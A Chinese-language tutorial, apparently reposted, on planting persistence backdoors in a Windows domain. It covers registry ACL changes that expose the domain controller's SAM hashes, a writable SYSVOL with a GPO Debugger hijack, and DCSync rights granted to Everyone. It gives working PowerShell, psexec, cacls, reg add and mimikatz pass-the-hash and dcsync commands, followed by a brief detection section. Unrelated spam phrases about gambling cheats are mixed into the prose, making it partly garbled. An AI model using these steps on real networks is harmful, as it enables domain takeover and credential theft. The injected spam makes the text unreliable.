1. 程式人生 > >域內配置ACL後門及檢測清理

域內配置ACL後門及檢測清理

前言

在域環境中配置ACL後門,隱蔽性較強,不容易被發現,適合域環境維持許可權,本文介紹常用的三種。

一、基於登錄檔ACL後門

作用:直接域控制器上的本地管理員hash。

實現思路:在域控制器上將hklm的特定鍵值分配everyone讀取手機麻將外掛許可權

感謝harmj0y大佬,已經把這個過程武器化了,地址: https://github.com/HarmJ0y/DAMP,程式碼寫得很完美:)

手動編寫powershell指令碼如下(會應用到麻將外掛軟體):

$Keys = @(
            'SYSTEM\CurrentControlSet\Control\SecurePipeServers\winreg',
            'SYSTEM\CurrentControlSet\Control\Lsa\JD',
            'SYSTEM\CurrentControlSet\Control\Lsa\Skew1',
            'SYSTEM\CurrentControlSet\Control\Lsa\Data',
            'SYSTEM\CurrentControlSet\Control\Lsa\GBG',
            'SECURITY',
            'SAM\SAM',
            'SECURITY\Policy\Secrets\NL$KM\CurrVal'
		
		
)

ForEach($Key in $Keys) {

	$reg_path="HKLM:\"+$Key
	write-output $reg_path
	
	
	$REG = Get-Acl $reg_path
	$Rule = New-Object System.Security.AccessControl.RegistryAccessRule ("Everyone","FullControl","Allow") 
	$REG.SetAccessRule($Rule) 
	$REG |Set-Acl -Path $reg_path
	$Dir = Get-Childitem $reg_path -Recurse 
	
}

修改系統關鍵登錄檔需要星力捕魚程式刷分軟體許可權,本地管理員許可權下執行如下以獲取一個system shell:

psexec.exe -accepteula -s -i -d cmd.exe

獲取一個system shell

 

在域控制器上執行上面指令碼或匯入https://github.com/HarmJ0y/DAMP/blob/master/Add-RemoteRegBackdoor.ps1指令碼執行:

 

 

Add-RemoteRegBackdoor -ComputerName client.external.local -Trustee 'S-1-1-0' -Verbose 

 

 

然後就是在普通使用者機器上讀ntlm hash。

 

普通域使用者機器下載https://raw.githubusercontent.com/HarmJ0y/DAMP/master/RemoteHashRetrieval.ps1這個指令碼,本來想自己動手寫一個的,但是解密SAM內容這個步驟太複雜了,放棄啦:(

 

執行獲取域控制器本地sam檔案裡的hash:

 

Get-RemoteLocalAccountHash -ComputerName ad1 -Verbose

 

 

獲取域控制器本地sam檔案裡的hash

 

這樣只要是個域使用者都可以獲取到域控制器的本地管理員administrator的hash,但是有一點要注意,就是域控制器的本地管理員賬戶不能直接pass the hash,這個是域控制器SAM檔案中賬戶的ntlm hash,或者叫它DSRM賬戶。

 

在域控制器上執行如下以允許DSRM賬戶進行遠端訪問(不用重啟):

 

reg add HKLM\System\CurrentControlSet\Control\Lsa /v DSRMAdminLogonBehavior /t REG_DWORD /d 2

 

 

執行後就能對域控制器pass the hash。

 

用mimikatz進行hash注入:

 

mimikatz "privilege::debug" "sekurlsa::pth /domain:ad1 /user:Administrator /ntlm:5a6b69843c8xxxxxc73dd3f1592acab2" exit

 

 

這樣就可以持續訪問域控制器了。

 

持續訪問域控制器

 

二、基於域策略檔案許可權後門

 

作用:部署策略檔案無視防火牆一鍵種馬。

 

域裡機器每過90+(0-30分鐘)會訪問域控制器的C:\Windows\SYSVOL\sysvol\domain.com\Policies 以更新它們的策略。

 

更新它們的策略

 

配置Policies的資料夾許可權為everyone完全控制,在域控制器上執行:

 

cacls C:\Windows\SYSVOL\sysvol\z3r0.com\Policies /e /t /c /g "EveryOne":f

 

 

在域控制器上執行

 

然後查詢某臺機器對應的是哪一個策略檔案,下載powerview指令碼然後執行:

 

Get-NETGPO -ComputerName tom-PC.z3r0.com |fl gpcfilesyspath

 

 

下載powerview指令碼然後執行

 

開啟\\z3r0.com\SYSVOL\z3r0.com\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf 新增如下在檔案末尾:

 

[Registry Values] MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskhost.exe\Debugger=1,c:\windows\system32\calc.exe [Version] signature="$CHICAGO$" Revision=1

 

 

選擇taskhost.exe作為除錯程序是因為當目標機器重新整理域策略的時候會呼叫taskhost程序,所以直接就能觸發了。

 

手動重新整理策略gpupdate /force:

 

手動重新整理策略

 

三、配置dcsync後門

 

在z3r0.com上右鍵把高階功能選上:

 

把高階功能選上

 

然後再右鍵屬性就會看到安全了。

 

看到安全

 

把everyone設定成完全控制,威力無窮。

 

把everyone設定成完全控制

 

最後隨便找個賬號就能使用dcsync了:

 

mimikatz.exe "Lsadump::dcsync /domain:z3r0.com /user:administrator" exit

 

 

 

檢測清理

 

1、訪問編寫指令碼定時檢測登錄檔路徑(HKLM\System\CurrentControlSet\Control\Lsa\DSRMAdminLogonBehavior),DSRMAdminLogonBehavior這個鍵值 預設不存在,如果發現存在該鍵值那麼可能已經被攻擊者利用了。

 

2、檢測C:\Windows\SYSVOL\sysvol\domain.com\Policies目錄以及子目錄檔案許可權,如果某個使用者被賦予特殊許可權,那麼可能是攻擊者進行的操作

 

3、檢視域控制器上是否存在特殊許可權使用者,如下圖所示:

 

檢視域控制器上是否存在特殊許可權使用者

 

總結

 

本文介紹了常用的幾種配置ACL在內網裡留後門的方法,後門在滲透測試中發揮的作用至關重要,學習掌握後門技術是安全人員必不可少的技能之一。